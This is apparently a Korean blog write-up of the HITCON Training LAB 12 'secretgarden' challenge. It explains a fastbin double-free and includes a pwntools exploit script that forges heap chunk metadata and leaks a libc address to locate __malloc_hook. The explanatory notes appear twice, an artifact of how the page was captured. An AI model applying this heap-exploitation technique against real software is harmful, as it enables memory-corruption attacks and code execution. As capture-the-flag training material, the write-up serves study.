크기는 전부 16으로 주고, 이름은 AAAA~CCCC, color는 aaaa~cccc
총 3개의 HEAP 할당
index 0을 free
index 1을 free 1의 fd가 index 0
index 1의 fd가 index 0을 가리킨다.
index1 fd → index 0
다시 index 0을 free
index 0 → index 1 → index 0
이때 힙을 3번 할당한다면, 동일한 주소를 2번 반환받을 수 있다.
fastbin size의 chunk가 free되고 fastbin에 들어간 뒤, 해당 free된 chunk의 fd의 값의 조작이 가능하다면 malloc의 결과로 원하는 주소를 리턴받을 수 있다
출처: https://dokydoky.tistory.com/460 [#dokydoky]
하지만 index 0을 다시 free 한 후, 힙을 할당 받으면 할당받을때의 Flower 이름이 해제된 힙의 fd로 들어가는 것을 알 수 있다.
다음 한번더 동일한 크기로 힙을 할당하면 0x603450이 fastbin에 들어간다
16크기 힙 할당
clean the garden을 하면 color부분도 다 사라짐
fastbin 크기 4개 할당
저 8070부분이 valid부분임. heap을 정상적으로 할당하면 저 값이 1이 되고, 1이 되었을때 정상적으로 값을 출력함. free가 될때는 저 부분이 0이 됨
from pwn import * context.terminal = ['terminator', "-e"] p = process('./secretgarden') e = ELF('./secretgarden') libc = e.libc magic = 0x400c7b gdb.attach(p) def add(length, name, color): p.sendlineafter('choice : ', "1") p.sendlineafter('name :', str(length)) p.sendlineafter('flower :', name) p.sendlineafter('flower :', color) def dele(index): p.sendlineafter('choice : ', "3") p.sendlineafter('garden:', str(index)) def clean(): p.sendlineafter('choice : ', "4") def visit(): p.sendlineafter('choice : ', "2") #Allocate heap add(40, "A"*4, "a"*4) add(40, "B"*4, "b"*4) add(40, "C"*4, "c"*4) add(40, "D"*4, "d"*4) add(128, "E"*4, "e"*4) add(128, "F"*4, "f"*4) #free chunk dele(2) dele(3) dele(4) clean() #modify size add(40, "K"*8, p64(0xdeadbeef)*2+p64(0xcafebebe)+p64(0x31)) #cafebebe is prev_size add(40, "L"*8, "l"*8) visit() #leak main_arena+216, __malloc_hook p.recvuntil('flower[3] :') leak = u64(str(p.recv(6).ljust(8, '\x00'))) log.info('leak : {}'.format(hex(leak))) # main_arena+216 malloc_hook = leak - 0xe8 # main_arena+216 - 0xe8 = __malloc_hook fake_chunk = malloc_hook - 0x23 log.info('__malloc_hook : {}'.format(hex(malloc_hook))) log.info('fake_chunk : {}'.format(hex(fake_chunk))) raw_input() p.interactive()
LAB 12(Fastbin attack)
크기는 전부 16으로 주고, 이름은 AAAA~CCCC, color는 aaaa~cccc
총 3개의 HEAP 할당
index 0을 free
index 1을 free 1의 fd가 index 0
index 1의 fd가 index 0을 가리킨다.
index1 fd → index 0
다시 index 0을 free
index 0 → index 1 → index 0
이때 힙을 3번 할당한다면, 동일한 주소를 2번 반환받을 수 있다.
fastbin size의 chunk가 free되고 fastbin에 들어간 뒤, 해당 free된 chunk의 fd의 값의 조작이 가능하다면 malloc의 결과로 원하는 주소를 리턴받을 수 있다
출처: https://dokydoky.tistory.com/460 [#dokydoky]
하지만 index 0을 다시 free 한 후, 힙을 할당 받으면 할당받을때의 Flower 이름이 해제된 힙의 fd로 들어가는 것을 알 수 있다.
다음 한번더 동일한 크기로 힙을 할당하면 0x603450이 fastbin에 들어간다
16크기 힙 할당
clean the garden을 하면 color부분도 다 사라짐
Libc_leak
fastbin 크기 4개 할당
저 8070부분이 valid부분임. heap을 정상적으로 할당하면 저 값이 1이 되고, 1이 되었을때 정상적으로 값을 출력함. free가 될때는 저 부분이 0이 됨
Exploit
'Hitcon Training' 카테고리의 다른 글